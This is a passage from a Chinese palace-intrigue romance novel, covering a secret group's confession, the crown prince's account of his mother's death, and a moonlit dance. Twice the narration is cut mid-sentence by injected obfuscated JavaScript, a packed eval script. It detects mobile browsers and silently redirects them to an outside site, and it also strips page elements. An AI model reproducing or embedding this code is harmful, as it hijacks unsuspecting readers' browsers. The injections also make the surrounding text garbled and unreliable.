路易双手插兜,满不在乎地微微昂着他凌厉又美丽的脸,仿佛能在这里接见安妮,是贵族给予她的恩赐。 丹尼尔则一如既往有些天然呆地面无表情,微微带着些仿生人似的冰冷和漠然,却还是下意识绅士地请林沅和安妮过来坐,被旁边两人狠狠瞪了一眼。 “我说。”林沅有些无奈地看着他们,伸手拦下了看起来微微有些气愤的安妮,“被瞒着什么都不知道的人,好像是我吧?” 三个人一瞬间都像是被戳破了的气球,立刻消弭了虚张声势的高傲。 莉莉丝有些崩溃地走过来,试探着挽着林沅的胳膊,看她似乎没什么抗拒,终于大声嚷道:“我就说……” 刚一出口又意识到是在医院,忍不住轻轻跺了跺脚,小声向林沅求饶:“我就说行动之前跟你坦白,他们骗我说殿下肯定会告诉你……我竟然信了。” 丹尼尔微低着头不想说话。这里没有外人,连军部的警卫似乎也被支走,路易主动走过来解释:“我们是隶属于皇储殿下的秘密组织‘信天翁’的成员。替他监视帝国贵族,并完成一些不能公之于众的任务。” 林沅不知道自己应该有什么反应。她只有一种“果然如此”的荒诞。 “难为你们带着我,还要演这样一出过家家般的好戏。”她也不想这样刻薄,只是觉得自己太可笑。 莉莉丝垂头丧气地看着她:“对不起……亲爱的。” 林沅无动于衷。 “身份什么的一切都是真的,我是安德鲁·亨特兰的亲妹妹,也真的是来帝国上学的,只不过从更早以前就在这里了。”莉莉丝求饶又讨好地看着她,林沅却没给什么反应。 她继续简要地解释:“我哥哥有数不清的妹妹……我大概是其中比较令人满意的一个。他希望我成为他的眼线。可我不想做谁的棋子,甚至想带我母亲逃来帝国。安德鲁知道我抗拒自己的身份,有叛变的风险,竟然想派人杀了我……是殿下和路易他们救了我。为了报答殿下,我就加入了‘信天翁’。” 寥寥数句,却掩藏了许多看不见的腥风血雨。 “何必告诉我呢?”林沅无动于衷,“我对你们的组织,实在没有什么兴趣。” “先别急着下结论……”路易低声叹气。平时无比高傲凌厉的面庞,此时竟然也有些颓唐,“的确,瞒着你,却又带你一起进行这次行动,我很抱歉……但这也不是殿下的本意,希望你不要误会他。” “我们接到的任务命令,原本是完全将你们排除在外的。只是那天安妮很想加入进来,我们如果刻意拒绝,似乎也显得有些可疑。” 安妮立刻向林沅解释:“这我真的不知道!我不接这个锅!” 林沅有些好笑地看了她一眼,已经不知道自己心里充斥的是失望或者什么别的情绪。 五个人无声地面对面站着,尴尬和窒息的情绪在肆意嚣张地蔓延。 也不知道怎么就到了这种地步。似乎朋友不再是朋友,亲人不再是亲人,同学也不再是同学。 她拥有的,只有被别人设计好,却又是偷来的人生。 林沅感觉到一种难以言说的疲倦和厌恶。 其实她确实太过于频繁地尝试依赖和亲近别人,大概是一种孤独久了之后不由自主的心情。哪一个长途跋涉的旅人不向往温暖的小屋,热烈的火光和美味的佳肴呢? 但没有人保护的人生才是她一直以来的常态。支起满身的刺,用利益交换利益,才是小兽的本能。 林沅动作轻柔却又坚定地拂去莉莉丝挽着她的双手,踱步到长椅上,不慌不忙地坐下。 所有人都默默注视着她。 “说说看吧。”林沅微微抬了抬下巴,“既然拍到了那么珍贵的视频……我需要得到更有价值的情报。” 三人面面相觑,似乎不知道从何开口。安妮则戒备地看着他们。 “怎么……你们在这里等着向我坦白,难道不是殿下的意思?”林沅不疾不徐地催促。 “你猜得对。”路易叹了口气,“作为私自带你入局的惩罚,殿下要求我们在这里等着。他说你一定会来。” “他倒是了解我……”林沅冷笑。 路易的目光有些复杂:“殿下他……很在乎你。” 林沅不为所动,只示意他继续说下去。 平时的林沅,其实一直是个比较温柔平和的人。此时此刻泄露出的一点压迫感,竟然让所有人幻视这里坐着的是皇储殿下本人。 路易收敛心神,切入正题:“在你来之前,所有的录像视频我们都逐帧观察过数遍,发现了一点,怎么说……比较有趣的地方?” 他打开手中的通讯器,在空中展开一个虚拟屏。拍卖会的录像从头开始播放,丹尼尔走过来,神情专注地拉动着进度条,直到视频停止在主持人出现于拍卖台的画面,露出她远远看起来白皙无暇的左手。 丹尼尔将视频放大,再放大。直到整个虚拟屏幕上,只剩下这只左手的画面。 像素自动识别到高清。丹尼尔调整镜头的位置,林沅终于注意到,在这只完美无瑕的左手上,手背边缘靠向手腕内侧的位置,有一颗边缘光滑圆润,漆黑如墨的小痣。 她有些疑惑,示意路易解释。 “根据技术识别系统,可以看出这是一个被精心修剪打磨过的人类影像。这个影像在真实人类的基础上,几乎百分之百的身体参数,都被做过微调,或者是美化。但我们不能理解的是,唯有一点,在整个完美的虚拟形象上,只有这一点,没有经过任何修饰。就像是没有打码的私人信息,暴露于人前。” 路易继续边说边思考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14881687|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我觉得这是非常不符合逻辑的。一个一丝不苟给自己调整影像参数的人,应当是一个极其严谨,对外在形象也非常在意的人。然而她修改了所有参数,却独独留下一颗小痣……这有什么意义呢?她想向外界传递什么信息?” 林沅摇了摇头:“没必要非得用正常人的逻辑来推测。” 安妮也不由自主地加入进来:“她一定非常在意这一点……即使经过严谨地修饰,也有一点希望别人注意到……有种隐秘的感觉,可以说是在传递信息,也可以说是……在炫耀。” 莉莉丝刚被林沅拂下双手,此刻难免有些情绪低落,无精打采地插科打诨道:“你们别说,这手加上这痣,好像是挺性感的。” 众人突然齐齐转头看向莉莉丝,把她吓了一跳:“……干嘛?” “也许的确得神经病才能理解神经病的逻辑。”路易一言难尽地看着她。 丹尼尔注视着虚拟屏,似乎在自言自语:“中年,女性。真实身材样貌也依然很好,甚至不逊于修饰后的。美丽,大方,得体,非常温柔。可能不仅不变态,甚至看起来过于正常,平易近人。” “这是在干嘛?”安妮小声问,不敢打断他。 “大概是……侧写?还原嫌疑人真实面貌?”莉莉丝也有些不太确定。 丹尼尔却忍不住离屏幕更近了。他时不时地放大或缩小影像,语速也不由自主地加快:“……但是对自己整个人的全身上下,她最满意的只有这一点小痣。社交,舞会,每一次最不经意的礼仪,她都喜欢在不动声色间展示自己完美无瑕的双手,和这颗恰到好处小痣,以期得到一点情绪上的波动。” “完美主义,极致浪漫,极致奢华……差不多就这些了。她的形象都是虚假的,我看不出什么有用的东西。”丹尼尔最终还是放弃了分析。 “安心啦,这颗痣什么也说明不了。还是先按照之前的进度,处理好各种舆论吧。”莉莉丝大大咧咧地安慰他。 然后她慢吞吞地转向林沅:“真的不再考虑一下了吗?” 林沅缓慢但坚定地摇了摇头。 莉莉丝等人只能无奈地接受了现实。这个结果是可以预见的,毕竟他们刚骗完了人。 但路易还是有一点不甘心:“真的不加入吗……一如那天我们共同完成的一切,‘信天翁’始终致力于实现帝国的公平正义,这不也是你一直以来想要得到的吗?” 他又转头去蛊惑安妮:“你呢?要不要加入?” 莉莉丝也点点头:“我很喜欢和你们一起,阿沅,安妮。你们是我见过最可靠的人。” 连丹尼尔都忍不住劝道:“我们也算是同生共死过的战友。” 林沅却只是没什么表情地看着他们。 安妮到似乎有一点点兴趣,不知是出于任务的需要,还是真心实意:“……你们所说的监视贵族,是什么意思?” 莉莉丝耐心解释:“追踪可疑的动向,收集可用的证据,随时反馈给殿下。” 路易补充道:“你可以把这理解成新贵族对旧势力的赶尽杀绝,也可以理解为我个人信念中的公平正义。” 他看起来冷硬如钢铁,几乎一字一顿:“随便……反正,我从不惧怕任何罪名。” 他慷慨陈词,看起来凛然大义,但林沅实在按不下心底涌上的涩意,只是敷衍了几句,终究还是婉拒了他们。 “好吧。”莉莉丝藏不住自己的失望,医院的冷白光混着惨淡的日光投在她娇俏稚嫩的脸上,显得有些颓然,“我们属于殿下,自然也属于你。无论你喜不喜欢,当你需要的时候,‘信天翁’会站在你身边。” 林沅颔首示意自己知道了。视线扫过抢救室,研究员似乎感到困倦,坐在维生舱旁边,手臂撑着头,有节奏地一点一顿。 她决定暂时不去打扰任何人。 可是某人似乎并不想轻易放过她。走廊尽头出现一位军官,由远至近,在林沅等人面前站定,恭恭敬敬地行礼:“殿下,我奉皇储殿下的命令而来,接您去宸宫。” 威廉的通讯也如期而至。林沅确认了一下文字内容,有些疲惫地站了起来。 她婉拒了安妮想要跟着她的意愿,也婉拒了路易等人希望她慎重考虑关于加入他们的请求。 林沅很快离开医院,行走于宸宫宽阔雄伟的走廊中。繁复的冷色调油画和白色理石雕刻随处可见,仿佛支撑着整个建筑的骨架。 虽然这半年来进入宸宫的次数屈指可数,她总觉得这里有一种莫名的熟悉感。 威廉·霍恩海姆在书房中等她。林沅想要敲门,却被门口的军官神神秘秘地阻止。 她推门进去,才发现威廉正撑着头,带着神色中浓重到抹不去的疲惫,似乎在闭眼小憩。 林沅轻手轻脚地想要退出房间,威廉却立刻有所察觉地醒了过来:“……你来了,阿沅。” 她只好有些心虚地行礼问好。威廉却只是走过来,牵着她的手,让她在自己的书桌前坐下。 面前放着的,是关于正式承认林沅继位合法性的起草文书。 “殿下……”她看起来有些惶恐地想要起身,却被威廉不容拒绝地按下。 林沅感受着自己肩膀上温热又有力的手掌,轻轻叹了口气:“殿下,您还没有对我提出的问题给出一个合理的解释,就想用这个来搪塞我吗?” 她转头目不转睛地盯着威廉,墨色的杏眼在白皙精致的脸庞上,如同闪闪发光的星星,眼神温柔而倔强。 其实她自己也没有意识到,对着威廉,她始终有一种不知缘由的有恃无恐。 仿佛是来自于命运的呼唤,或者是灵魂的本能。 威廉也只是温和地看着她。冷峻的面容因为眼神的柔和而软化,细密修长的睫毛遮不住眼底的情绪,却显得更加丰富。 “先别急着拒绝我,阿沅。”他轻轻将一支笔塞进林沅泛着些许冷意的手掌中,一手揽着林沅的肩,一手包裹着她握笔的手掌,带着她一笔一划、不容拒绝地在起草文书上签下“威廉·霍恩海姆”的英文字母。 林沅疑惑地看着眼前的一切,藏不下自己心头的巨震。 威廉却并没有解释太多,只是含糊其辞地在她耳边低声说道:“你要记住。人的一切都可以拿来利用。从皮囊血肉,到生老病死。” 他微微叹气:“等你学会物尽其用的那天,就真的不再需要我了。” 36.玫瑰园 “殿下。” 林沅的手包裹在威廉的掌心,忍不住微微颤抖,心却变得比以往更坚定。 她侧过头,一瞬不瞬地望着近在咫尺的威廉。漫长的沉默中,他湛蓝的双眼忍不住眨了几下,似星辰明灭。 林沅的声音和语气都有些冷意:“承您的情。但我实在不喜欢这种被所有人蒙在鼓里,每个人说话都含糊其辞、不肯讲明白真相的感觉。” “倘若您希望我有用,不如把话说明白些。如果您觉得我在整个计划中只起到装饰的作用,就请安心把我‘束之高阁’吧。” 林沅转回视线,微微低下头,又仿佛不经意似的,显露出一点示弱般的落寞:“我不喜欢被莫名其妙地安排,殿下。你们给我的剧本,从来没问过我喜不喜欢。” 威廉叹了口气,直起腰,转身倚在书桌上,目光低垂,视线仍然丝丝缕缕缠绕着林沅。 他还举着手里那只末端做了仿古羽毛装饰的签字笔。顺着视线,羽毛隔空从上到下轻轻描绘着林沅的侧脸。但似乎担心显得不太尊重,所以并没有真的贴在她的侧脸上,而是微微留下了一点空隙。 在林沅低垂的目光看不见的地方,威廉眼神中的温和如同春水缓缓流淌,与整个人全身上下霜冷肃穆的军人气质格格不入。 像包裹在坚冰里的柔软糖心。 他顺着描绘的动作,最终放下了签字笔。林沅抬头注视着威廉,在逐渐变暗的天色下,书房没有开灯,晚霞的橙色光芒照在林沅靠着房间外侧,也靠着威廉一边的侧脸上,照亮她秀美惊艳的五官和温柔坚韧的神情。 威廉忍不住伸出手,将她侧边的墨色长发轻轻别在耳后:“阿沅,你听说过……光明女神闪蝶吗?” 林沅疑惑地看着他。威廉温和却又不容拒绝地握着她的手,牵引着她从座位上站起来,漫步在黄昏明暗交界的光影中,显得格外空旷冷寂的宸宫。 戍卫的军士眼观鼻鼻观心,路过的侍从们甚至包括机器人,全都自动避让,假装什么也没看见。 林沅看着自己的手被包裹在硬实的掌心。她沉默地落后威廉一点,缓缓漫步于宸宫长得仿佛看不到尽头的走廊。 他们拐了几个弯,进了几条岔路,在林沅几乎要迷路的时候,一条风格与之前截然不同的长廊终于出现在视线中。 不同于宸宫整个严肃冷漠、恢弘壮阔的风格,不同于那种即使用了黑白灰三色之外色彩,也仍然显得沉默保守的谨慎,这条长廊的用色更大胆、明艳,各种浓丽的撞色和活泼灵动的雕刻四散于墙体和吊顶,悬浮灯的造型和照明光也更绚丽,像是突然进入了另一个维度。 “这是我母亲还在时,亲自设计图纸,并监工的长廊。这条路的尽头,通往她的寝宫。”威廉的声音在空旷的环境中响起,仿佛传来幽远的回声。 他继续往前走。从林沅的视角,只能看见打理的一丝不苟的军装背后,腰带严丝合缝地贴着腰身,整个人身姿修长,比例优越。银灰色的发丝松散,似乎还带着一点刚洗过不久的清香。 他们在走廊尽头的房间门口并肩站定。逆着悬浮的灯光,林沅看不太清威廉的表情。 他沉默着用虹膜解锁了门禁,大门打开的一瞬间,林沅仿佛看见一点被惊起四散的灰尘。 “其实我也很久很久不曾进过这里了。”威廉的声音低沉,带着一点哑然。 还有一种微不可察的、说不清道不明的情绪夹杂其中。林沅想了一下,大概可以称之为茫然。 室内的陈设到还算干净。整个卧室的面积很大,不过东西不算太多,只有简单的床、书桌、地毯、衣柜。 不过立刻吸引了林沅全部目光的,是视线对面,书桌之上,通往一楼阳台和花园的门旁,一整面墙的蝴蝶标本。 蓝色中带着白色线条,如同层层叠叠的蔚蓝海浪推着顶端一线雪白泡沫的,光明女神闪蝶。 黄昏的最后一点光明快要落下,威廉却还是没有开灯。 他再次摸索着牵起林沅的手,带她走进自己母亲,同时也是前皇后的故居。 “母亲出身罗勒斯家族,和现在的罗勒斯家主是亲姐妹。她们的父亲是前任罗勒斯家主,母亲是帝国一位公爵的女儿。也就是说,我母亲的身上,同时流淌着联盟和帝国的血液。” 林沅在威廉身边站着,耐心地听他讲述。 房间的色彩和装饰仍然明艳而温馨,只除了这铺满一整面墙的光明女神闪蝶。如墨的画框和冰蓝的蝶身,显出一种格格不入的冰冷。 不知为什么,她设身处地代入威廉母亲的视角,想象自己一天天坐在这个书桌前,抬头望见这满墙的标本,只有一种被钉死在整座王宫的错觉。 “据说她刚嫁入宸宫时,也是忐忑而犹疑的。但父皇年轻又风趣,对我美丽温柔的母亲一见钟情。所以,虽然是没有任何感情基础的政治联姻,两人竟也渐渐进入爱河……” 他的目光有些说不出的悲伤:“但就像我跟你说过的那样。父皇意外早逝,母亲迫于保护我的压力,与枢密院达成协议,带着我改嫁给按继位流程被唤醒的皇帝。” “这是个整个帝国继位史上第一次出现这样的意外,也是人造人被用于皇室基因库和备用皇储制度之后,第一次真正被启用。” “从那以后的事,我也基本有了亲身的记忆。但从我记事起,母亲的状态就不太健康。” 威廉环视着他小时候和母亲一起居住的房间,靠近墙上那些数不清的蝴蝶标本,掌心轻轻抚上冰冷的画框:“她总是对着父皇的画像哭泣,似乎对未来充满了悲观。也正是在那时候,她突然开始不停地收集光明女神闪蝶,直到铺满了这整整一面墙。” 林沅有些疑惑地走近,但并没有出声打断他。 “我常常试图安慰她,但母亲从来不告诉我她究竟在伤心什么。直到我十岁那年的某一天,她似乎终于突然从那种长长久久的抑郁状态中恢复过来。” 威廉的嗓音愈发艰涩。林沅知道,他所谓的“恢复”,绝不是一个好的展开。 直到现在,威廉仍然能记得,那天的阳光特别灿烂,橘金色的暖光从整个寝室的窗户和门边溜进来,涨满整个空间。而母亲也终于停止了永无止境的眼泪和悲伤,将自己收拾得干净整洁,换上一身崭新的宫装长裙,皮肤白皙,眉目如画。 他几乎清楚记得那身裙子的每一个细节。雪白的底色上,一朵朵红色玫瑰栩栩如生,白色的绒毛披风遮住了裸露的、瘦削的肩膀。而他的母亲神采奕奕,容光焕发,仿佛一个即将出嫁的新娘。 从十岁以来的每一晚,那一天的场景都在他的噩梦里不断重复上演。 罗勒斯女士坐在窗边的椅子上,努力把年仅十岁却已经长得非常高大的威廉抱进怀里。 她的思维与逻辑很久不曾这样清晰:“宝宝,一转眼,你也长得这样大了。我接下来说的话,可能有些难以理解。但你需要做的唯一一件事,就是记住它,每天回想一遍,直到你真正能够理解它的那一天。” 她贴在十岁威廉的背后,抱着他,在他的耳边呢喃。在威廉视线看不到的地方,鲜血从她的唇角缓缓流下来。 “光明女神计划,是每个罗勒斯家族成员身上背负的诅咒。初代罗勒斯家主为了阻断这场注定的悲剧,没有与夫人留下子嗣,甚至死前下令,将两人的尸体焚烧殆尽,骨灰飘荡于无穷无尽的宇宙中。” “但是他终究不能屠杀尽自己的旁支。于是经过一代又一代的传递,就像是污染物的富集一样,这个诅咒终于又卷土重来,并被有心人重新利用。” “我是那个被选中的‘光明女神’之一。我本可以不这么软弱,将所有的恩怨截断在我身上。可是他们告诉我,如果不是我,就是我的妹妹,或者下一代的罗勒斯家。” “除非我有魄力将罗勒斯家所有人屠杀殆尽,否则这场恩恩怨怨的传递,永远不会真正的停止。” “因为我的软弱,害了你父亲,也害了你……你姨妈那边,我近来已经安排好。帝国这边……你要记得,等你长大后,需要做到三件事。” “第一,在你有能力的那天,记得除去所有复制了皇室基因,为皇室而生的人造人。他们每一个,都是为光明女神计划留下的备份。” “第二,提防枢密院,最好能把他们永远地从历史上抹去。虽然我不知道他们究竟为谁而工作,但那些书记官是计划最直接的支持者。” “第三,倘若将来你有能力终结这一切,那当然很好,但是……” 她的声音越来越微弱,即使年幼的威廉也察觉到了不对劲。他嗅着空气中淡淡的、挥之不去的血腥气,惊恐地转过头,看着母亲嘴里吐出的鲜血,已经污染了她的衣裙。 大片、大片,真正鲜红、永恒的玫瑰。 “妈妈……”十岁的威廉忍不住绝望地哭泣,想要出去找人求援,却被母亲拦下,也被她眼中从未有过的坚定和疯狂灼痛。 她用尽最后的力气,对年幼的威廉一字一顿地说道:“当你发现自己终究还是输给光明女神计划的那天……” “妈妈请你,杀了自己。” 她从椅子上跌落,被嚎啕大哭的威廉抱在怀里,颤抖着伸出被鲜血污染的手,想要抚摸威廉的侧脸:“对不起……妈妈太软弱了……希望这些历史,到你这里终止吧。” 她垂下了那只距离威廉脸颊仅剩毫厘的右手,重重落在地毯上,却悄无声息。 故事已经讲完,现实中的两人,只有无言的沉默。 林沅心里有无数的疑惑,却觉得现在不是一个提问的好时机。 她暂时不敢随意提问,只是上前一步,贴在威廉背后。 她第一次主动伸出手,轻轻地、温和地,从背后缓缓抱住了威廉,双手环在他的腰上,侧脸贴上他温暖的后背。 威廉似乎轻轻颤了一下,快得让林沅疑心只是自己的幻觉。 他竟然反过来安慰林沅:“我没事,没必要难过……但我想,你说得对。既然我们是盟友,我应该对你坦诚一些。” 他轻轻握住林沅环在自己身前的双手,用不容拒绝的力道缓缓分开它们,转身和她面对面,却很突兀地说道:“天完全黑了。花园里现在很美,要去看看吗?” 林沅侧头,才注意到夜色已经完全沉寂下来。阳台外,悬浮的照明灯幽幽飞行,照亮远处无边无际的玫瑰园一角。 林沅点点头。威廉帮她解锁了阳台门,指引她走向通往花园的小路。 他们穿过幽深的小径,来到大片的玫瑰园中。这里似乎曾经有过精心的设计,做了仔细的分区,但近来显然疏于打理,各色的玫瑰在繁芜的杂草中野蛮生长,却似乎别有一番风味。 帝国的天幕上,也有着一颗聊胜于无的人造月亮。此时此刻,远离了阳台附近的悬浮灯,仅有月光照亮着眼前的玫瑰。随着微风拂过,玫瑰在银色的微光下摇摆,涌来醉人的香气。 “你知道吗,我想起我们在罗勒斯号上的第二次见面。”似乎为了转移林沅的注意力,调动她有些低沉的情绪,威廉刻意转移了话题。 “外人都不知道你小时候曾经来过帝国……我想可能连你自己也记不太清了,毕竟你那时候那么小。”威廉淡淡地勾着唇角。 听他这样说,林沅松了口气,至少威廉不会怀疑她为什么记不清小时候的事。不过她也有一些疑惑,自己脑海中属于原主的记忆确实断断续续,不成系统。 她原本单纯以为是自己穿书的缘故。如今仔细想来,突然察觉可能没有那么简单。 但此时此刻,她也只能不动声色地按下自己心中近似于直觉般突兀的疑惑,顺着威廉的话说下去:“去年在罗勒斯号上的时候,殿下把我吓了一跳呢。” “你那时候是怎么想的呢?关于我?”威廉突然追问道。 林沅努力笑了笑,好像有些羞涩,并没有正面回答他。 威廉到也没有再为难她。他扫视了周围的风景,突然将林沅轻轻拉近自己:“阿沅带了那两个小机器人吗?” 林沅有些疑惑地拿出林AA:“怎么了,殿下?” 林AA在她摊开的掌心转了个圈,显示屏对着威廉翻了个大大的白眼,把威廉逗笑了。 “它能放音乐吧?” 林沅点头:“当然。殿下想听什么?” “随便什么舞曲吧……”威廉沉吟道,“毕竟月色正好。” 他微微退了半步,恭恭敬敬地行礼:“可以请这位美丽的女士跳支舞吗?” 林沅展颜一笑,把林AA放飞在半空,转头对它说道:“那就Por Una Cabe ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“但对于这种基因污染的最终目的,我却始终没能调查清楚。” 一曲舞毕,林沅微微喘息。威廉的双手轻轻捧上了她小巧的脸,拇指微微摩挲着她柔软的面颊。 他认真注视着林沅仿佛藏着月光的明亮双眸:“这也是我宣布你继承权的目的。倘若有一天,我死于政斗的意外或者光明女神计划不得不面对的终结。我希望你能接手这一切。” 他有些愧疚地看着林沅:“因为基因污染的原因,我们不能留下后代……如果你真的继承了王位,那么帝国走向哪里,选择权在你。” 林沅暗暗心惊,只是坚定地摇头:“总会有转机的,殿下。” 但她仍然忍不住追问道:“倘若一切结束,我和殿下都死去的那天,您希望帝国……” 威廉平静的眼睛里,仿佛突然燃烧起灼灼的火光:“按照我原本的计划……结束帝制,回到共和。” 但他有些遗憾的补充道:“可惜现在不是时候。必须在我们彻底铲除枢密院和他们背后的势力,确定不会因为帝制的瓦解,而导致帝国落入别有用心的人手中以后……” “倘若我不能做到,阿沅,我希望可以你替我做到。” 林沅下意识拼命地摇头:“我不行的,殿下。治国理政,我完全不明白。” 威廉把右手食指轻轻放在她唇瓣上,做了个噤声的动作:“所以我想把你接来宸宫住一段时间……就说是婚前适应期。我想教你,怎么管理这个帝国。” 林沅震惊又迷茫,不知道怎么回答,那种无力的感觉又涌上来了:“殿下……您太异想天开了……我说过我不喜欢这样,你们所有人都在莫名其妙地推着我往前走。” 威廉叹息着把她抱在怀里:“答应我吧,阿沅。我没有别人可以祈求了。” 他干脆利落地斩断了林沅的退路:“除了你,我不相信任何人。” “殿下……”林沅有些绝望,“可是您到底相信我什么呢?” “你总会知道的,阿沅。” 林沅简直有些垂头丧气。她不知道这个书里的人到底有什么毛病,仿佛她是那个天选的救世主,如果没有她,什么事情都解决不了。 但是实际上,他们下这些决定,根本不需要她有任何参与。 林沅真的非常、非常不喜欢这种无力感。 威廉却只是沉默地抱着她,似乎有些不舍得放手。 “殿下……”她叹息着呢喃道,“我还是那个意思,倘若您觉得我们算得上合作,而不是单方面的教诲,我希望您做决定之前,至少能考虑跟我商量一下。” “好。”威廉非常干脆地答应她。隔着昏暗的光,林沅实在看不清他究竟有几分诚意。 她沉吟了一会:“首先,您至少该告诉我,‘信天翁’是怎么回事吧?” 威廉从善如流地回答道:“他们是我留给你的后盾。” 林沅疑惑地看着他。 威廉的声音有些格外低沉,竟然似乎在紧张:“我听说……在古地球的时候,信天翁象征着一生一世一双人的爱与忠诚。” “在很久之前,当我明白自己终究不得不把你卷进来这场纷争以后,就开始准备这件事……他们三个,是我留给你的底牌之一。” 林沅吐槽:“可是我感觉他们三个在我面前,一个比一个不靠谱。” 威廉无奈地笑了:“那只是因为他们信任你……” 他认真地解释道:“莉莉丝·亨特兰是留给你对付猎盟的保障,丹尼尔·冯·桑德兰可以帮你维系枢密院忠于我这一派的势力,路易·塔西尼则可以让夏洛特·莱茵和盛赞教廷同时站在你这边。” “虽然我想你也许不耻于这样的手段。但是想要掀翻旧的制度,就不得不建立新的势力。” “他们是我为你留下的‘心腹’。” 林沅再一次叹气。她感觉自己这今年以来叹气的次数直线上升:“这也是您迟迟不为莱茵女士封元帅的原因吗?” 威廉目光里有着赞赏,欣慰地点头:“如果真到了需要动用莱茵的地步……她的元帅位置,应当只能由你来封了。” 林沅从他的怀里仰起脸,目光幽幽地望着威廉。从她的视角几乎只能看见他冷硬的下颌线。 威廉低下头,湛蓝色的眼睛出现在林沅视野中,仿佛星星从无垠的天幕垂落。她控制不住心脏突然加快的跳动……实在美色误人。 他们在月色下,风动花摇的玫瑰荒园中,似乎想要拥抱到天荒地老。 那时候,林沅竟然产生了一种软弱的错觉。似乎他们可以永远这样平静、安宁地并肩走下去,直到故事的终结。 37.小狐狸 从繁盛却苍白的夏天,到万物落尽的深秋,帝国的首都星一如既往地沉默、肃穆。 辽阔耸立于城市远郊的宸宫,哥特式的尖塔如同刺破天际的利箭,在秋季肃杀的背景下格外冰冷锐利。 穿过和宸宫外表一样古板严肃的走廊,到了一扇镌刻无数仿古花纹的大门前,威廉刻意放轻了自己的脚步。 他伸手缓缓推开门扉,厚重的钢材碾压细小的轴承,发出一点被尽力压低的“吱呀”声。 威廉略微皱了一下眉,悄无声息地迅速闪身进了房间,将一切可能产生噪音的来源都隔绝于室外。 房间明显经过精心的、温馨的设计,完全不同于外面世界的萧索,甚至感觉不出一丁点冷意。整个地面铺上了厚重的羊绒地毯,踩上去不会发出任何声响,四面的墙壁也尽数包上了挂毯,仿佛要裹住屋中藏起的稀世奇珍。 天然黑胡桃木制作的家具形状各异,灵动的线型设计舒缓流畅,避免了暗色的沉闷感。各式各样的挂画和书籍填充了房间各个角落,大大小小的盆栽绿植四散点缀。 房间深处的仿真壁炉并没有点燃,温度却还算适宜。旁边的浅色沙发上侧倚着一个纤细修长的人影,显然已经沉沉睡去。小小的脸颊大半被怀里的抱枕挡住,睡颜恬静,羽睫细密纤长。线条优美、肤色白皙的小腿半掩在纯色的丝绸睡裙中,蜷缩着收拢在沙发上。 林沅在自己的书房中睡着了。 纤细的小臂从沙发垂下,指尖落在地毯上,手里还握着一本厚重英文书籍的一角,整本书倒扣在地面。 威廉静静地看着她。黄昏将落的日光正好停在脚下,让他整个人从上到下,一半身处阴影,一半爬满阳光。俊逸的脸隐藏在暗影中,看不清表情。 他停顿了一会,无声无息地走过去,拉起沙发另一端的薄毯一角,从下往上,遮住“睡美人”的脚踝、小腿,一直到肩膀,轻轻地盖在林沅身上。 做完这一切,林沅也并没有醒来,反而好像在睡梦中感觉到了熟悉的温暖,整个人忍不住往毯子中微微缩了一下。 威廉没再多看,静静地走到书桌旁坐下,就着最后一点未落的阳光,无声无息地翻阅书桌上各式各样的绝密文件和草案。 直到太阳完全落下,他也仍然没有开灯,而是打开了虚拟屏,开始检查林沅回复的电子批阅单。 屏幕微弱的光映着威廉的脸,没什么情绪波动的湛蓝双瞳仿佛名家亲手雕刻的宝石,绝美、冰冷、无情。几丝银灰色的碎发遮在眼前,像是完美无瑕珠宝上被用力凿出的刻痕。 沙发上蜷着的人突然像小动物一样微微挣动,发出一点刚从睡眠中醒来的、不甚满意的轻哼。 威廉顿了一下,担心是虚拟屏的光照醒她,想关掉,又怕自己整个人藏在黑暗里,更容易把林沅吓到。 这点犹豫的时间里,林沅已经迷迷糊糊地醒了过来。她借着虚拟屏的光看见似乎还在工作的威廉,意识到自己一觉睡到天黑,突然有些羞赧。 “你来啦……怎么不叫醒我。”她从沙发上坐起来,想走到书桌边,突然失去薄毯保温的身体接触到深秋略带凉意的空气,微微颤了一下。 威廉快步走过来,半跪在沙发边,重新用毯子把林沅裹起来:“没什么……我忙完了军部的事,有一点想你,就过来看看。” 自从林沅搬来宸宫,威廉说起这种类似情话的内容越来越熟练。她感觉脸上有一点烫,嗫嚅道:“咱们早晨才刚见过……” 威廉给她裹好了毯子,把那双有点凉意的手掌握在自己手心,吩咐智能家居打开恒温系统:“天幕还不如取消一年四季。你总是忘记开恒温,容易把自己冻感冒。” 林沅立刻反对:“不要。首都星的风景本来就够严肃无趣了。再失去四季,就更没意思了。” 威廉在暗夜中微微笑了笑,没有反驳她。 “今天怎么样,一切还顺利吗?”林沅把威廉拉到沙发上,轻声问道。 威廉顺势熟练地把她揽进自己怀里:“我让军部继续加强安防,最近的形势越来越严峻……” 林沅叹了口气。 威廉笑着轻轻勾了下她的鼻尖:“别担心这些。你先跟着陈鹤明学会怎样处理政务。” 林沅向里旋身,侧趴在威廉胸前,带着微微兴奋和激动的眼睛从下往上热切地看着他,让威廉想起某种专门于夜晚月色下蛊惑过路人的精怪,或者蔚蓝海面唱歌的塞壬。 她小声开口,声音也像塞壬一般动听:“今天的文件和批示你都看了吗?怎么样?” 威廉有力的双臂轻轻一提,把她抱到自己大腿上,让她侧身面对自己坐着,鼓励道:“进步很大。少部分不太合适的地方我给你做了修改,明天你拿给陈鹤明他们看,你们再商量着来。” 虽然没有开灯,微光下,林沅的表情仍然肉眼可见的开心。 威廉忍不住轻轻在她微凉的鼻尖落下一个吻,然后皱了皱眉:“怎么还没暖和过来。” 林沅有些不好意思,低头不语,专心致志地玩他军装上的肩章。 威廉沉吟了片刻,突然脱下军装外套,把林沅连着毯子一起,里三层外三层地紧紧裹住,牢牢地抱在自己怀里,站了起来。 林沅忍不住惊呼,窝在他怀里小声开口:“干嘛呀?” 威廉突然觉得怀里的人乖得不行,没忍住又把她轻轻往自己这边颠了一下,亲在她侧脸上:“抱你回你房间,接着睡吧。” 